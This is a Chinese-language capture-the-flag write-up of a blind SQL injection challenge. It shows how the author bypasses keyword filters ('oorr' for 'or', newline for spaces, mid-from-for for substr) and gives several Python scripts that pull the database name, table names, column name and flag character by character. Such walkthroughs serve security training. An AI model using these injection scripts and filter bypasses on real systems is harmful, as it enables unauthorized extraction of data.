打開鏈接,看到這個頁面,一臉又是sql注入的樣子
翻翻源碼沒有任何提示
打開burp開始抓包,包頭與返回頭又沒有任何提示,試着開始修改ID 的值,觀察頁面變化
當我輸入id=1'時,頁面返回“you are not in.......”,當輸入id=1'and時,頁面返回Sql injection detected!,說明and被過濾了
接着就是開始試服務器到底過濾了哪些字符:and,union,空格,,,#,+
接着就開始嘗試注入語句了:id=1'/**/or/**/'1'='1,結果卻返回了“you are not in......”,沒見過的操作啊,還是我做的題太少了
趕緊翻看wp,后來才知道原來這邊雖然沒有過濾or,但后台對於or有別的操作,這種改變是可能繞過的,一般的后台處理邏輯是匹配or、or(不分大小寫)、or+空格並替換為空。嘗試改變大小寫和用oorr代替,發現回顯都為You are in,也就是說,后台處理應該是匹配or(小寫),並將其替換為空,並且僅僅處理了一次,而且經過測試,*也在后台被改變,因此我們可以拿%0a來代替空格
接下來就是盲注的常規操作了,但這里過濾了and和逗號,后來測試的時候還發現過濾了substr
先爆當前數據庫名的長度:
import requests str1 = 'You are in' url = 'http://ctf5.shiyanbar.com/web/earnest/index.php' for i in range(1,30): key = {'id':"0'oorr(length(database())=%s)oorr'0"%i} r = requests.post(url, data=key).text print(i) if str1 in r: print('the length of database is %s'%i) break
開始跑數據庫名:
1 import requests 2 3 guess = '~abcdefghijklmnopqrstuvwxyz_0123456789' 4 str1 = 'You are in' 5 url = 'http://ctf5.shiyanbar.com/web/earnest/index.php' 6 database = '' 7 for i in range(1,19): 8 for j in guess: 9 key = {'id':"0'oorr((mid((database())from(%s)foorr(1)))='%s')oorr'0" %(i,j)} 10 r = requests.post(url, data=key).text 11 print(key) 12 if str1 in r: 13 database += j 14 print(j) 15 break 16 print(database)
接着開始跑表的長度(跑的時候還發現;也被和諧了,氣死了找了我好久)
1 import requests 2 3 guess = '~abcdefghijklmnopqrstuvwxyz_0123456789' 4 str1 = 'You are in' 5 url = 'http://ctf5.shiyanbar.com/web/earnest/index.php' 6 i = 1 7 while True: 8 flag = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='')oorr'0"%i 9 flag = flag.replace(' ', chr(0x0a)) 10 key = {'id':flag} 11 r = requests.post(url, data=key).text 12 print(key) 13 if str1 in r: 14 print('the length of tables is %s'%i) 15 break 16 i += 1
1 import requests 2 3 guess = '~abcdefghijklmnopqrstuvwxyz_0123456789' 4 str1 = 'You are in' 5 url = 'http://ctf5.shiyanbar.com/web/earnest/index.php' 6 tables = '' 7 for i in range(1,12): 8 for j in guess: 9 flag = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='%s')oorr'0"%(i, j) 10 flag = flag.replace(' ', chr(0x0a)) 11 key = {'id':flag} 12 r = requests.post(url, data=key).text 13 print(key) 14 if str1 in r: 15 tables += j 16 print(j) 17 break 18 19 print(tables)
最后結果有2張表,原來我的guess中並沒有包含進@,所以導致這里兩張表之間沒有被隔開,下面代碼中我會補全字符串
一看就知道flag就在fiag表中了,還是跑列長
1 import requests 2 3 guess = '~abcdefghijklmnopqrstuvwxyz_0123456789' 4 str1 = 'You are in' 5 url = 'http://ctf5.shiyanbar.com/web/earnest/index.php' 6 i = 1 7 while True: 8 flag = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='')oorr'0"%i 9 flag = flag.replace(' ', chr(0x0a)) 10 key = {'id':flag} 11 r = requests.post(url, data=key).text 12 print(key) 13 if str1 in r: 14 print('the length of columns is %s'%i) 15 break 16 i += 1
忘了說一下,這里雖然寫的6,但我們的搜索條件是第6個為空,那么字符長度應該為5
1 import requests 2 3 guess = '~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],.' 4 str1 = 'You are in' 5 url = 'http://ctf5.shiyanbar.com/web/earnest/index.php' 6 columns = '' 7 for i in range(1,6): 8 for j in guess: 9 flag = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='%s')oorr'0"%(i, j) 10 flag = flag.replace(' ', chr(0x0a)) 11 key = {'id':flag} 12 r = requests.post(url, data=key).text 13 print(key) 14 if str1 in r: 15 columns += j 16 print(j) 17 break 18 19 print(columns)
跑出了列名:fl$4g
最后就是dump數據了
先看看數據有多少位
1 import requests 2 3 guess = '~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],.' 4 str1 = 'You are in' 5 url = 'http://ctf5.shiyanbar.com/web/earnest/index.php' 6 i = 1 7 while True: 8 flag = "0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='')oorr'0"%i 9 flag = flag.replace(' ', chr(0x0a)) 10 key = {'id':flag} 11 r = requests.post(url, data=key).text 12 print(key) 13 if str1 in r: 14 print('the length of data is %s'%i) 15 break 16 i += 1
最后看來一共13位
直接開跑
1 data = '' 2 for i in range(1,14): 3 for j in guess: 4 flag = "0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='%s')oorr'0"%(i, j) 5 flag = flag.replace(' ', chr(0x0a)) 6 key = {'id':flag} 7 r = requests.post(url, data=key).text 8 print(key) 9 if str1 in r: 10 data += j 11 print(j) 12 break 13 14 print(data)
劇情真是一波三折,坑是一個接着一個,我最后得到的結果如下
這怎么可能是答案呢,又去看了一眼wp,原來是flag中第十四位是' '了,這就導致我在跑數據的時候就發生了錯誤,flag根本不止13位
改個數字繼續跑
要不是wp我根本想不到這個坑,這里真的是要膜拜各位大佬,這里的-實際是由空格轉義來的,所以真正的flag是flag{haha~you win!}